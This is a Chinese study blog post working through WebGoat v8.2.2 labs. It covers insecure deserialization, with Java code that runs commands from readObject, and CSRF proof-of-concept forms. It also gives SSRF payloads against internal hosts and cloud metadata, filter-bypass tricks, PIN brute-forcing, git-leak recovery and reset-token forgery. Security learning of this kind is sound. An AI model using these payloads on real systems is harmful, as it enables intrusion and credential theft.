    // VulnerableTaskHolder.java package org.dummy.insecure.framework;import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime;public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}@Overridepublic String toString() {return "org.dummy.insecure.framework.VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="+ requestedExecutionTime + "]";}/*** Execute a task when de-serializing a saved or received object.* @author stupid develop*/private void readObject( ObjectInputStream stream ) throws Exception {//unserialize data so taskName and taskAction are availablestream.defaultReadObject();//do something with the dataSystem.out.println("restoring task: "+taskName);System.out.println("restoring time: "+requestedExecutionTime);if (requestedExecutionTime!=null &&(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {//do nothing is the time is not within 10 minutes after the object has been createdSystem.out.println(this.toString());throw new IllegalArgumentException("outdated");}//condition is here to prevent you from destroying the goat altogetherif ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {System.out.println("about to execute: "+taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {System.out.println(line);}} catch (IOException e) {e.printStackTrace();}}} } // Main.java package org.dummy.insecure.framework;import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; // import org.dummy.insecure.framework.VulnerableTaskHolder;public class Main {static public void main(String[] args){try{VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 5");ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(go);oos.flush();byte[] exploit = bos.toByteArray();String exp = Base64.getEncoder().encodeToString(exploit);System.out.println(exp);} catch (Exception e){}} }

    正確編譯后運行,得到token:
    rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAflChAJBjgf43PAeHQAB3NsZWVwIDV0AAVzbGVlcA==

    不安全組件

    概念

    Software Supply Chain
    軟件供應鏈
    現代軟件生產中所使用的開源組件流(flow)

    簡要介紹供應鏈及相關安全問題的介紹

    大概就是
    大部分現代生產中有80%~90%都是直接采用組件構成
    很少原生代碼編寫

    組件版本迭代 × 新的開源項目 = 每年數量高達31billion的組件需求
    然而有6.8%的組件存在著至少一個已知的安全問題
    舊版本組件更是有三倍的安全風險
    這就是為什么一些公司嚴格保證供應鏈安全的原因
    (防banner泄露、隱藏所用組件、隱藏組件來源及架構)

    提高供應鏈安全意識:

    • 使用更少人使用但更好的組件供應商
    • 只使用高質量的組件
    • 持續追蹤組件的使用時間和地方

    WebGoat這里側重強調:

    • 管理依賴庫的困難
    • 不管理依賴庫的風險
    • 以及發現依賴庫是否存在風險的困難

    主要是要意識到【開源 ≠ 安全】,第三方代碼和自己的代碼一樣重要
    以及理解“確定和管理依賴樹”在評定開源組件風險中的重要性

    OWASP Top 10:2021 (A06)

    Vulnerable and Outdated Components
    (使用)危險及過時組件

    如何減緩這類風險:

    • 移除不使用的依賴、不必要的特性、組件、文件和文檔
    • 利用工具持續記錄、檢查前后端組件的版本
      • versions
      • OWASP Dependency Check
      • retire.js
    • 持續對漏洞庫進行鏡像
      • CVE
      • NVD
    • 訂閱所使用組件的安全問題公告
    • 僅使用安全鏈接從官方源獲取組件,優先使用通過簽名檢查的包
    • 對不再維護或者不推出安全補丁的舊版本組件進行統計與鏡像,或者是部署檢測或防御系統

    一個攻擊場景

    組件通常具有和使用其的應用相同的權限,因此組件出問題通常后果比較嚴重

    • CVE-2017-5638
    • 物聯網(internet of things, IoT)(物理)組件

    幫助尋找過期組件、錯誤配置系統以及有問題設備等的工具:

    • Shodan IoT search engine
    • FOFA

    演示了一下jquery-ui 1.10.4存在一個可利用的XSS

    OWASP Dependency check

    開源第三方組件檢查工具

    一個部署場景:

    You can add OWASP Dependency check as a plugin to the pom.xml of a Maven project for instance.

    The plugin will download information from public vulnerability databases and it will check if vulnerable libraries are used and will indicate which vulnerability was reported.

    As part of a development pipeline, you can instruct the plugin to fail the build if there are violations that the development team was not aware of.

    Additionally you can use an xml file to waiver some of the violations.

    You should do so if the mentioned vulnerability cannot be exploited in your application.

    然后給出了WebGoat的實際部署情況及場景

    有些時候還包括了第三方組件授權的問題,即法律、風控安全
    自行修改?組件間授權不兼容?授權范圍或完整?

    然后下一題,說只有在使用基于docker的WebGoat時才能做
    是關于XStream的,CVE-2013-7285

    總結

    • 現代產品中的開源組件使用不斷增加
    • 開源組件來自于有著不同標準的不同庫
    • 安全信息和問題普遍存在
    • 許可證書(License)問題很難驗證
    • 大多數團隊不注重甚至沒有組件更新策略
    • 開源組件成為新的攻擊維度

    what to do?

    • 使用自動化工具構建自己的OSS物料清單(OSS Bill of Materials)
    • 在組織中針對開源代碼的使用設置基線(Baseline)
    • 建設開源組件風險管理策略

    CSRF

    Cross-Site Request Forgeries
    跨站請求偽造
    針對用戶瀏覽器的“混淆代理(confused deputy)”攻擊

    概念

    別稱:one-click attack、session riding(會話劫持)、XSRF

    A type of malicious exploit of a website where unauthorized commands are transmitted from a user that the website trusts.

    與XSS的區別
    XSS:利用用戶對特定站點的信任
    CSRF:利用站點在用戶瀏覽器中的信任

    一般有以下特點:

    • 涉及到了對用戶身份存在依賴的網站
    • 利用了網站對這個身份的信任
    • 欺騙了用戶瀏覽器,使其向站點發送HTTP請求
    • 涉及到了有副作用的HTTP請求

    危害根源在于:
    Web應用根據可信和經過身份驗證的用戶的輸入或請求執行操作
    而沒有要求用戶授權執行特定操作,或者是沒有進一步認證用戶授權

    一般不利用在“讀操作”,因為攻擊者收不到信息
    多利用于“寫操作”,故漏洞類型多列為“寫類型CSRF”

    第一道題目

    抓包改改referer字段就有了

    第二道題目

    抓包改改referer字段又有了

    來自框架的自動支持

    大部分框架都默認有對防止CSRF攻擊的支持

    例如在Angular中,攔截器從cookie中根據默認的XSRF-TOKEN讀取toen,并將其設置為HTTP報頭:X-XSRF-TOKEN
    因為只有在你的域上運行的代碼才能讀取cookie
    所以后端可以確定HTTP請求來自你的客戶端應用程序,而不是攻擊者

    這種情況下后端會把token設置在cookie中
    為了在cookie中讀數據,這時http-only標志位應該關閉
    每次請求Angular都會在HTTP頭部中設置X-XSRF-TOKEN

    因此后端能通過比較cookie以及header中的兩個token
    從而判斷出這次請求是不是來自同一個域

    這里最重要的是,要定義單獨的cookie,不要重復使用相同的session cookie
    且session cookie總是要綁定http-only標志

    另外,自定義headers并不安全
    除非所有和服務端的交互都是通過JS腳本進行的
    (還附帶了一個繞過的案例,可惜訪問不了)

    content-type和CSRF

    很多Web應用認為
    通過僅使用application/json作為content-type,就可以防御CSRF
    原因是這種請求僅能通過XHR(XMLHttpRequest)請求生成
    這樣在發出正常請求之前,一個pre-flight request會先發送給服務端
    若返回的pre-flight response不允許跨源(cross origin)請求
    則瀏覽器不會發出隨后的正常請求

    結論是:這樣子不是一個有效防止CSRF攻擊的措施
    原因是:有一個很神奇的方法Navigator.sendBeacon(),允許指定任意content-type來發送POST數據
    具體原因自己看去

    建議學一下HMLHttpRequest的內容

    一道關于content-type的題目

    更多信息閱讀這里
    講的是利用把XML數據作為請求體的POST請求進行CSRF
    里邊比較關鍵的地方在于,作者想把XML數據作為惡意表單的name屬性進行提交
    但是其中的‘<’等符號會被轉義,并且還有關于請求體‘=’的問題

    解決方法是,給惡意表單添加
    ENCTYPE="text/plain"
    這一屬性,使得特殊符號不再被轉碼,也解決的等號的問題

    POC看起來像是這個樣子:

    <FORM NAME="buy" ENCTYPE="text/plain" action="http://trade.example.com/xmlrpc/trade.rem" METHOD="POST"> <input type="hidden" name='<?xml version' value='"1.0"?><methodCall><methodName>stocks.buy</methodName><params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></params></methodCall>'> </FORM> <script>document.buy.submit();</script>

    回到題目

    很屌神奇,要自己抓包改掉content-type為text/plain
    然后改referer,就有了
    可能和上面講的原因有關
    application/json請求之前有一個預請求會對跨域進行檢查

    看看別人的做法
    比較正統的做法是:
    構造一個惡意頁面,生成惡意鏈接,誘導受害者點擊,從而形成CSRF

    構造如下POC:

    <!DOCTYPE HTML> <html> <head> <title>try</title> </head> <body> <form name="attack" enctype="text/plain" action="http://www.webgoat.local:8080/WebGoat/csrf/feedback/message" METHOD="POST"> <input type="hidden" name='{"name": "Testf", "email": "teddst1233@163.com", "subject": "service", "message":"' value='dsaffd"}'> </form> <script>document.attack.submit();</script> </body> </html>

    放到WebWolf上,形成link,點擊,搞定

    可能值得關注的是:

    • 通過惡意表單的name屬性傳遞了json數據
    • 又通過enctype="text/plain"屬性逃避了預請求的發送
    • 妙啊

    題目:Login CSRF attack

    大概就是:
    誘導受害人用攻擊者的賬號在某站點(搜索引擎、淘寶等)進行登錄
    使受害者綁定到攻擊者的登錄態
    從而攻擊者后續可以通過自己的賬號收集受害者信息(訪問記錄等)

    圖示如下:

    題目就是,創建另一個csrf-arcyxu賬號
    模擬用戶登錄了這個賬號(而用戶不知道)
    用戶點擊解決按鈕,此時攻擊者知道了用戶行為

    CSRF的影響

    只受到已登錄的合法用戶的權限限制
    真正容易受到CSRF攻擊影響的是物聯網設備和一些**“智能”設備**
    很多消費者級路由器也被證明容易受CSRF影響

    解決方法

    same-site cookie attribute

    現代瀏覽器能夠支持一些擴展
    能限制cookie的使用范圍
    使只有當請求是同站‘same-site’時
    cookie才能被附加到這樣的請求上

    例子:

    For example requests for http://webgoat.org/something will attach same-site cookies if the request is initiated from webgoat.org.

    same-site cookie有分為嚴格模式和松散模式
    更多可以閱讀這里:
    Preventing CSRF with the same-site cookie attribute


    其他解決方案

    現在很多(Web)應用框架都默認有處理CSRF攻擊的支持
    例如Spring和Tomcat
    防御特性可以開關自定義控制

    最后是一些拓展閱讀

    • OWASP CSRF防御備忘錄
    • OWASP CSRF攻擊
    • Tomcat 8.0的CSRF防御過濾文檔/Tomcat 7.0的CSRF防御過濾文檔
    • Spring 的CSRF防御文檔

    優先閱讀前面兩個

    SSRF

    概述

    Server-Side Request Forgery

    攻擊者可以利用這種攻擊來濫用服務器上的功能
    從而讀取或更新內部資源
    具體為:

    • 讀取服務器配置(如AWS元數據)
    • 連接到內部服務(如啟用HTTP的數據庫)
    • 對不打算暴露的內部服務執行POST請求

    通過提供或修改在服務器上運行的URL或代碼


    下面內容來自拓展閱讀:How To: Server-Side Request Forgery (SSRF)

    一種讓服務器執行攻擊者請求的攻擊手段
    發生在Web應用請求外部或其他服務器上的資源的時候

    環境準備

    假設有這么一臺服務器server.rb
    在本地端口4567上運行著如下的Ruby代碼:

    require 'sinatra' require 'open-uri'get '/' doformat 'RESPONSE: %s', open(params[:url]).read end

    這段代碼千萬不要對外,因為會導致RCE

    如果有人發送如下請求:
    http://localhost:4567/?url=https://google.com
    那么open()調用將會獲取https://google.com,并且會把響應返回到客戶端

    Fetching a URL from the internet isn’t that exciting and not a vulnerability by itself – since it’s directly connected the internet, anyone can access it anyway.

    現假設有如下網絡環境:

    • web-server.com運行著上述Ruby代碼
    • admin-panel在80端口上開放一個無身份驗證的站點
    • router提供NAT服務
    • 內外網間沒有防火墻或任何安全規則
    • 外網僅能訪問web-server.com,admin-panel不對外網開放

    簡單演示

    攻擊者在外網,向web-server.com發送如下請求:
    http://web-server.com:4567/?url=http://10.0.0.2/
    那么web-server.com就會請求僅內網訪問的admin-panel
    并把請求結果返回給在外網的攻擊者

    這時候的web-server.com就好像一個**“代理”**
    成為了攻擊者訪問內網資源的一個代理
    使攻擊者可以讓任意數據在內外網之間雙向流動

    測試

    假設自己準備了一臺攻擊者的服務器hack-box-1(外網IP:1.2.3.4)
    在上面使用netcat監聽自己所有接口上的8080端口:
    hack-box-1 $ nc -l -n -vv -p 8080 -k

    然后攻擊者向web-server.com發送如下請求:
    curl http://web-server.com:4567/\?url\=http://1.2.3.4:8080/
    攻擊者就會發現服務器上netcat收到了下面的請求

    hack-box-1 $ nc -l -n -vv -p 8080 -k Listening on [0.0.0.0] (family 0, port 8080) Connection from [masked] port 8080 [tcp/*] accepted (family 2, sport 45982) GET / HTTP/1.1 Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: */* User-Agent: Ruby Host: 1.2.3.4:8080

    說明上面的HTTP請求會被發送到參數url所指示的地址/域名

    如果惡意服務器響應如下請求:

    HTTP/1.1 302 Found Location: http://10.0.0.2/ Content-Length: 0

    那么web-server.com將會跟從這個重定向,并向http://10.0.0.2/發送請求

    提及重定向
    是因為一些公司為了緩解SSRF,會限制對內網資源或端口的訪問
    但是重定向這一塊經常沒有被考慮到
    就好比如上面的Ruby代碼中只加上了如下的限制:

    get '/' dourl = URI.parse params[:url]halt 403 if url.host =~ /\A10\.0\.0\.\d+\z/format 'RESPONSE: %s', open(params[:url]).read end

    是可以被上面的重定向響應方法繞過
    whitelists better than blacklists
    而且還有其他的繞過方法:

    • 使用十進制IP表示法http://167772162/代替http://10.0.0.2/
    • 創建一個指向10.0.0.2的DNS A記錄
      并使用自己的域名來訪問10.0.0.2

    而且重定向這種方法很多時候可以繞過端口、主機、路徑或者是協議限制

    如果使用白名單檢測,則效果會好很多:

    get '/' dourl = URI.parse params[:url]halt 403 unless url.host == 'web-server.com'format 'RESPONSE: %s', open(params[:url]).read end

    容易出現SSRF漏洞的5個特征

    • Webhooks:*(一種由服務端主動向客戶端推送的范式,類似于C/S架構的逆轉)*尋找那些當確切事件發生時會發送HTTP請求的服務,大多數Webhooks場景下終端用戶可以選擇他們自己的endpoint和hostname
    • PDF生成器:嘗試注入<iframe>、<img>、<base>或者是<script>元素,或者是注入CSS url()函數,去指向內部服務
    • 文檔解析器:試著去挖掘文檔是怎樣被解析的。例如如果是XML文檔,則使用PDF生成器的方法;如果是其他文檔,就看看有沒有方法去引用外部資源并對內部資源進行訪問
    • 鏈接擴展:??鏈接在這里(Twitter)
    • 文件上傳:不正常上傳文件,嘗試上傳一個URL,看看服務器能否下載到URL對應的內容。

    關于上面那個“文件上傳”的特點,看了下那份報告
    大概是在一個論壇上傳用戶頭像的地方
    通過修改前端HTML元素,更改上傳類型“file”為“url”
    然后粘貼圖片URL到上傳框
    再進行上傳,發現可以上傳指定的外部圖片
    說明服務器對外部資源進行了請求,存在SSRF風險

    然后就在14年獎了500刀
    哇操

    blind SSRF

    之前的舉的例子,是因為沒有對內網環境執行任何防火墻規則
    因此攻擊者完全可以“正常合法地”獲取內網信息、資源和服務

    但是有些時候SSRF并不會返回響應給攻擊者
    這種情況稱之為,或者就需要用到盲SSRF

    如下Ruby代碼:

    require 'sinatra' require 'open-uri'get '/' doopen params[:url]'done' end

    該例子下攻擊者無論請求什么url參數,只要請求成功,服務器都只會返回“done”
    這時候的影響通常僅局限于內網服務挖掘和端口掃描等(統稱內網探測)
    因為可以從返回的錯誤信息中判斷對應的服務或端口是否開啟
    (或者是請求被過濾)

    影響

    暴露內網/被防火墻保護的系統

    技巧
    比較響應時間是辨別內部路由有哪些網段的一個好方法
    因為一般不在路由表中的網段會很快被路由器丟棄(導致快響應)
    而應用內部防火墻規則的網段通常會導致RTT(往返時延)增加(導致慢響應)
    另外路由器和交換機通常會開啟HTTP或者是SSH接口,所以優先嘗試.1和.254地址的22、80、443、8080和8443端口通常是值得的

    服務挖掘和端口掃描

    方便暴露內部結構以及挖掘其他漏洞

    一些請求和對應響應的例子(從返回碼和RTT來綜合分析):

    提取EC2配置文件

    涉及到一個叫Amazon EC2的概念
    大概是一種在云端計算機運行各種計算或應用的服務(云計算、云服務?)

    Amazon公開了一個可以讓所有EC2實例查詢主機元數據實體的內部服務
    如果發現了一個運行在EC2上的SSRF漏洞
    就可以嘗試請求http://169.254.169.254/latest/meta-data/
    這會返回很多關于站點結構的信息
    甚至是一些Amazon S3訪問token、API token等

    可以引申到現如今的其他云服務系統?
    獲取一般云服務系統的元數據?

    把SSRF作為一個支點

    并不是所有SSRF都使用HTTP協議

    有使用可以利用SSRF達到RCE的效果
    一個例子是:
    可以通過推送異步任務到一個未授權的Redis服務的一個隊列中
    然后利用一個使用gopher:// protocol的應用來執行命令

    總之,SSRF通常作為挖掘和進一步利用其他漏洞的一個跳板,并造成更大的危害


    下面回到WebGoat

    第一道題目

    好像很簡單,直接抓包
    發現url參數請求的是tom.png
    改成jerry.png,搞定了

    第二道題目

    根據提示改url參數為http://ifconfig.pro,搞大定

    防御

    • 對服務器能獲取的資源,從域名、來源以及協議等方面列一個白名單
    • 對于任何用戶輸入都應該進行驗證,并拒絕所有不符合預期的請求
    • 盡可能地不讓用戶控制某些服務器請求資源的函數的輸入

    前端限制繞過

    用戶對前端有著較大得控制權
    可以修改HTML或者是腳本代碼
    因此對于特定格式的輸入,也應該在后端進行校驗


    第一道題目

    各種繞過前端限制
    下拉選擇菜單改選擇項
    單選框改復選框(checkbox)
    checkbox改輸入框(text)
    修改輸入長度限制
    去掉“只讀”屬性


    第二道題目

    JS腳本作正則限制
    很多主流瀏覽器不允許在運行時修改腳本
    因此可以考慮先發送正常輸入
    通過前端腳本檢查后
    再抓包修改,再放包
    搞定

    Client Side Filtering

    應該總是只發送給用戶他們有權限查看的信息
    而不發送額外的不必要的信息
    防止越權、信息泄露等問題


    第一道題目

    場景是,越權查看CEO的薪資
    一個選擇菜單,查看元素,發現是通過value參數傳入員工ID
    于是遞增員工ID,發現爆出了CEO的信息


    第二道題目

    一個商品購買頁面
    提示是知道code就不用付錢了

    很奇怪,我怎么知道有這個接口能夠返回所有code?
    /WebGoat/clientSideFiltering/challenge-store/coupons/

    HTML篡改

    題目是,買電視
    要我以低價買多臺電視

    看看源碼,發現前端有JS腳本做驗證

    抓包,改,過,無語

    防御方法是,后端再從數據庫中獲取數據來重新計算價格,再對比驗證

    另外也有關于輸入驗證的OWASP備忘錄

    Challenges

    WebGoat CTF
    不對要做什么進行解釋
    也沒有任何提示

    admin lost password

    登陸題目,優先考慮SQLi?
    結果連sqlmap level5 risk3都搞不定
    (起碼知道了這種級別的sqlmap探測需要起碼半小時以上。。。。)

    那只能試試爆破?

    發現網絡上流傳的答案都不太行
    看了看源碼,發現判斷條件里有個奇怪的東西
    PASSWORD.replace("1234", String.format("%04d",ImageServlet.PINCODE)).equals(password);
    意思貌似是吧固定密碼的‘1234’字段給替換成了別的東西

    找到PASSWORD為
    !!webgoat_admin_1234!!
    再看看怎么做替換

    再看看這個PINCODE的定義:
    static final public int PINCODE = new SecureRandom().nextInt(10000);
    似乎只能0-10000之間的數字了
    其中要求最少4位,不足左邊用0填充

    生成字典(木頭字典工具),開搞
    等,開🐟

    然后掃到7000多的時候終于出來了,感動


    后續

    看了看別人的做法,結果說登錄框上面那張logo圖片有乾坤???
    WTF

    弄下來,文本打開,發現還真是

    麻麻子,這誰想得到啊
    可能是模擬一些笨比管理員把自己密碼放在藏在一個公開地方備忘?

    without password

    又是登錄框,只不過這次變成是登錄療愈師Larry

    很普通的SQLi,單引號字符型

    admin password reset

    嘗試幫admin重置密碼

    把密碼重置郵件發送到攻擊者郵箱,點擊鏈接,提示說我不是admin
    然后看看請求包,感覺唯一辨識身份的就只有那個維持登錄態的cookie
    估計方向是獲取密碼重置鏈接后面的那串token

    去看看源碼~~(呃,痛苦)~~
    ???結果admin的重置鏈接token直接就給我了?


    看看別人的做法,說這種是屬于git泄露

    訪問這個鏈接:
    www.webgoat.local:8080/WebGoat/challenge/7/.git
    可以下載到這個題目的git源碼(how do i fucking know?)

    解壓后,在.git所在的那個目錄查看下git狀態,發現刪除了一些文件:

    git log看看提交記錄:

    試試退回到上一個版本(箭頭指向)
    執行git reset --hard ac937c7(后面tab補全)
    然后發現目錄下多了那些原來刪除的文件

    然后就是考慮反編譯下PasswordResetLink.class這個文件
    (聽說burp打開就可以直接反編譯??)
    就可以看到admin重置密碼鏈接token的生成方式

    這里生成link時使用了random.setSeed(),而這個就直接導致了本題的漏洞,設置了種子過后生成的就是偽隨機數,就是說同一個種子每次生成的隨機數是固定的,所以我們這里只需要把PasswordResetLink.class與MD5.class的代碼拷貝到一個新項目里,然后運行代碼就可以得到admin重置密碼的鏈接了(記得運行代碼的時候得指定程序的第一個參數為admin,否則會提示沒有指定用戶名)


    我的收獲是:

    • 知道了一種新的題型/安全問題:git泄露
    • 知道了git的一些功能和操作方法
    • 知道了**.class文件可以反編譯成java源碼**(還沒實操)

    without account

    不會,看源碼,發現限制了請求方法不能為GET

    然后了解到了如下信息:

    HEAD方法跟GET方法相同,只不過服務器響應時不會返回消息體。

    一個HEAD請求的響應中,HTTP頭中包含的元信息應該和一個GET請求的響應消息相同。這種方法可以用來獲取請求中隱含的元信息,而不用傳輸實體本身。

    也經常用來測試超鏈接的有效性、可用性和最近的修改。一個HEAD請求的響應可被緩存,也就是說,響應中的信息可能用來更新之前緩存的實體。如果當前實體跟緩存實體的閾值不同(可通過Content-Length、Content-MD5、ETag或Last-Modified的變化來表明),那么這個緩存就被視為過期了。

    所以GET改HEAD,成了(新知識get)

    后記

    學到很多東西,比較貼合現代企業對于Web安全的防御要求

    好評

    總結

    以上是生活随笔為你收集整理的[NOTE] WebGoat v8.2.2学习笔记的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。